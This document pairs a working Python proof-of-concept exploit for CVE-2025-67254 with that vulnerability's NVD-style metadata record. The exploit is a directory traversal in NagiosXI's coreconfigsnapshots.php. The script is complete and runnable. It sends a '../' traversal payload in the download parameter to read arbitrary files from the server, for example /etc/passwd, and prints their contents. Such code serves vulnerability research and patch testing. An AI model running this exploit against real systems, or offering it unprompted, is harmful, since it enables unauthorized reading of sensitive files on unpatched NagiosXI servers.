CVE-2025-67254

import requests import sys # CVE-2025-67254 NagiosXI Directory Traversal PoC # Target: NagiosXI /admin/coreconfigsnapshots.php def exploit(target_url, file_path): """ Exploit directory traversal vulnerability in NagiosXI Args: target_url: Base URL of NagiosXI instance file_path: File to read (e.g., /etc/passwd) """ # Construct the malicious URL with directory traversal traversal_payload = "../../../../.." + file_path params = { 'download': traversal_payload } target = target_url.rstrip('/') + '/admin/coreconfigsnapshots.php' print(f"[*] Target: {target}") print(f"[*] Attempting to read: {file_path}") try: response = requests.get(target, params=params, timeout=10) if response.status_code == 200: print(f"[+] Success! File content:") print("-" * 50) print(response.text[:2000]) # Print first 2000 chars return True else: print(f"[-] Failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-67254.py <target_url> <file_path>") print("Example: python cve-2025-67254.py http://nagios.example.com /etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit(target, file_path)

{"cve": {"id": "CVE-2025-67254", "sourceIdentifier": "[email protected]", "published": "2025-12-29T19:15:56.710", "lastModified": "2026-01-15T02:13:36.407", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NagiosXI 2026R1.0.1 build 1762361101 is vulnerable to Directory Traversal in /admin/coreconfigsnapshots.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2026:r1.0.1:*:*:*:*:*:*", "matchCriteriaId": "2C36F783-6CD4-4417-B696-DC59388478AF"}]}]}], "references": [{"url": "https://github.com/YongYe-Security/NagiosXI/tree/main", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.nagios.org/", "source": "[email protected]", "tags": ["Product"]}]}}